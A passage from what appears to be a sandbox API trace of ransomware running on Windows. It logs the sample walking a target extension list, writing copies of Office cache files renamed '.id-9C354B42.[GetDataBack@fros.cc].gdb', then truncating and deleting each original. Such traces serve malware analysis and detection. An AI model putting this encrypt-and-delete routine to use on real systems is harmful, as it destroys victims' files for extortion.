Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.663] lstrlenW (lpString=".doc") returned 4 [0126.663] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0126.663] lstrlenW (lpString=".docx") returned 5 [0126.663] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0126.663] lstrlenW (lpString=".pdf") returned 4 [0126.663] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0126.663] lstrlenW (lpString=".xls") returned 4 [0126.663] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0126.663] lstrlenW (lpString=".xlsx") returned 5 [0126.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0126.663] lstrlenW (lpString=".ppt") returned 4 [0126.663] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".zip") returned 4 [0126.664] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString=".rar") returned 4 [0126.664] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString=".bz2") returned 4 [0126.664] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0126.664] lstrlenW (lpString=".7z") returned 3 [0126.664] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".dbf") returned 4 [0126.664] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".1cd") returned 4 [0126.664] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".jpg") returned 4 [0126.664] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".doc") returned 4 [0126.664] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0126.664] lstrlenW (lpString=".docx") returned 5 [0126.664] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0126.664] lstrlenW (lpString=".pdf") returned 4 [0126.664] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString=".xls") returned 4 [0126.664] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString=".xlsx") returned 5 [0126.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0126.664] lstrlenW (lpString=".ppt") returned 4 [0126.664] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".zip") returned 4 [0126.664] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString=".rar") returned 4 [0126.664] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0126.664] lstrlenW (lpString=".bz2") returned 4 [0126.664] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0126.664] lstrlenW (lpString=".7z") returned 3 [0126.664] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0126.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.664] lstrlenW (lpString=".dbf") returned 4 [0126.665] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0126.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.665] lstrlenW (lpString=".1cd") returned 4 [0126.665] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0126.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0126.665] lstrlenW (lpString=".jpg") returned 4 [0126.665] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0126.665] lstrcmpiW (lpString1=".manifest", lpString2=".gdb") returned 1 [0126.665] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0126.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.665] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=1857) returned 1 [0126.665] CloseHandle (hObject=0x204) returned 1 [0126.665] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0126.665] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.665] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.666] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.666] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0126.666] GetLastError () returned 0x0 [0126.666] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x741, lpOverlapped=0x0) returned 1 [0126.668] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x750, lpOverlapped=0x0) returned 1 [0126.668] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0126.668] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0x10a, lpOverlapped=0x0) returned 1 [0126.669] SetEndOfFile (hFile=0x214) returned 1 [0126.669] CloseHandle (hObject=0x214) returned 1 [0126.669] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.669] SetEndOfFile (hFile=0x204) returned 1 [0126.670] CloseHandle (hObject=0x204) returned 1 [0126.670] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.670] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0126.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.670] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.670] lstrlenW (lpString=".doc") returned 4 [0126.670] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0126.670] lstrlenW (lpString=".docx") returned 5 [0126.670] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0126.670] lstrlenW (lpString=".pdf") returned 4 [0126.670] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0126.670] lstrlenW (lpString=".xls") returned 4 [0126.670] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0126.670] lstrlenW (lpString=".xlsx") returned 5 [0126.670] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0126.670] lstrlenW (lpString=".ppt") returned 4 [0126.671] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString=".zip") returned 4 [0126.671] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString=".rar") returned 4 [0126.671] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString=".bz2") returned 4 [0126.671] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString=".7z") returned 3 [0126.671] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString=".dbf") returned 4 [0126.671] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString=".1cd") returned 4 [0126.671] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString=".jpg") returned 4 [0126.671] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString=".doc") returned 4 [0126.671] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString=".docx") returned 5 [0126.671] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0126.671] lstrlenW (lpString=".pdf") returned 4 [0126.671] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString=".xls") returned 4 [0126.671] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString=".xlsx") returned 5 [0126.671] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0126.671] lstrlenW (lpString=".ppt") returned 4 [0126.671] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0126.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.671] lstrlenW (lpString=".zip") returned 4 [0126.672] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0126.672] lstrlenW (lpString=".rar") returned 4 [0126.672] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0126.672] lstrlenW (lpString=".bz2") returned 4 [0126.672] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0126.672] lstrlenW (lpString=".7z") returned 3 [0126.672] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0126.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.672] lstrlenW (lpString=".dbf") returned 4 [0126.672] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0126.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.672] lstrlenW (lpString=".1cd") returned 4 [0126.672] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0126.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0126.672] lstrlenW (lpString=".jpg") returned 4 [0126.672] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0126.672] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0126.672] lstrlenW (lpString="msvcr90.dll") returned 11 [0126.672] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.673] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=655872) returned 1 [0126.673] CloseHandle (hObject=0x204) returned 1 [0126.673] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 0x2020 [0126.673] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.673] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.673] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0126.673] GetLastError () returned 0x0 [0126.673] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xa0200, lpOverlapped=0x0) returned 1 [0126.947] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xa0210, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xa0210, lpOverlapped=0x0) returned 1 [0126.963] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0126.963] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xea, lpOverlapped=0x0) returned 1 [0126.963] SetEndOfFile (hFile=0x214) returned 1 [0126.963] CloseHandle (hObject=0x214) returned 1 [0126.963] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.963] SetEndOfFile (hFile=0x204) returned 1 [0126.970] CloseHandle (hObject=0x204) returned 1 [0126.970] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0126.970] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll")) returned 1 [0126.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.970] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.970] lstrlenW (lpString=".doc") returned 4 [0126.970] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0126.970] lstrlenW (lpString=".docx") returned 5 [0126.970] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0126.970] lstrlenW (lpString=".pdf") returned 4 [0126.970] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0126.970] lstrlenW (lpString=".xls") returned 4 [0126.970] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0126.970] lstrlenW (lpString=".xlsx") returned 5 [0126.970] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0126.970] lstrlenW (lpString=".ppt") returned 4 [0126.971] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.971] lstrlenW (lpString=".zip") returned 4 [0126.971] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString=".rar") returned 4 [0126.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString=".bz2") returned 4 [0126.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0126.971] lstrlenW (lpString=".7z") returned 3 [0126.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.971] lstrlenW (lpString=".dbf") returned 4 [0126.971] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.971] lstrlenW (lpString=".1cd") returned 4 [0126.971] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.971] lstrlenW (lpString=".jpg") returned 4 [0126.971] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.971] lstrlenW (lpString=".doc") returned 4 [0126.971] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString=".docx") returned 5 [0126.971] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0126.971] lstrlenW (lpString=".pdf") returned 4 [0126.971] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString=".xls") returned 4 [0126.971] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString=".xlsx") returned 5 [0126.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0126.971] lstrlenW (lpString=".ppt") returned 4 [0126.971] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0126.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.972] lstrlenW (lpString=".zip") returned 4 [0126.972] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0126.972] lstrlenW (lpString=".rar") returned 4 [0126.972] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0126.972] lstrlenW (lpString=".bz2") returned 4 [0126.972] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0126.972] lstrlenW (lpString=".7z") returned 3 [0126.972] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0126.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.972] lstrlenW (lpString=".dbf") returned 4 [0126.972] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0126.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.972] lstrlenW (lpString=".1cd") returned 4 [0126.972] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0126.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 74 [0126.972] lstrlenW (lpString=".jpg") returned 4 [0126.972] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0126.972] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0126.972] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0126.972] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.973] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=868864) returned 1 [0126.973] CloseHandle (hObject=0x204) returned 1 [0126.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0126.973] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0126.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0126.973] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.973] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0126.973] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0126.973] GetLastError () returned 0x0 [0127.279] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0xd4200, lpOverlapped=0x0) returned 1 [0127.299] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xd4210, lpOverlapped=0x0) returned 1 [0127.316] ReadFile (in: hFile=0x204, lpBuffer=0x3450020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affafc, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesRead=0x2affafc*=0x0, lpOverlapped=0x0) returned 1 [0127.317] WriteFile (in: hFile=0x214, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2aff8c4, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8c4*=0xf4, lpOverlapped=0x0) returned 1 [0127.602] SetEndOfFile (hFile=0x214) returned 1 [0127.603] CloseHandle (hObject=0x214) returned 1 [0127.638] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0127.638] SetEndOfFile (hFile=0x204) returned 1 [0127.644] CloseHandle (hObject=0x204) returned 1 [0127.645] SetFileAttributesW 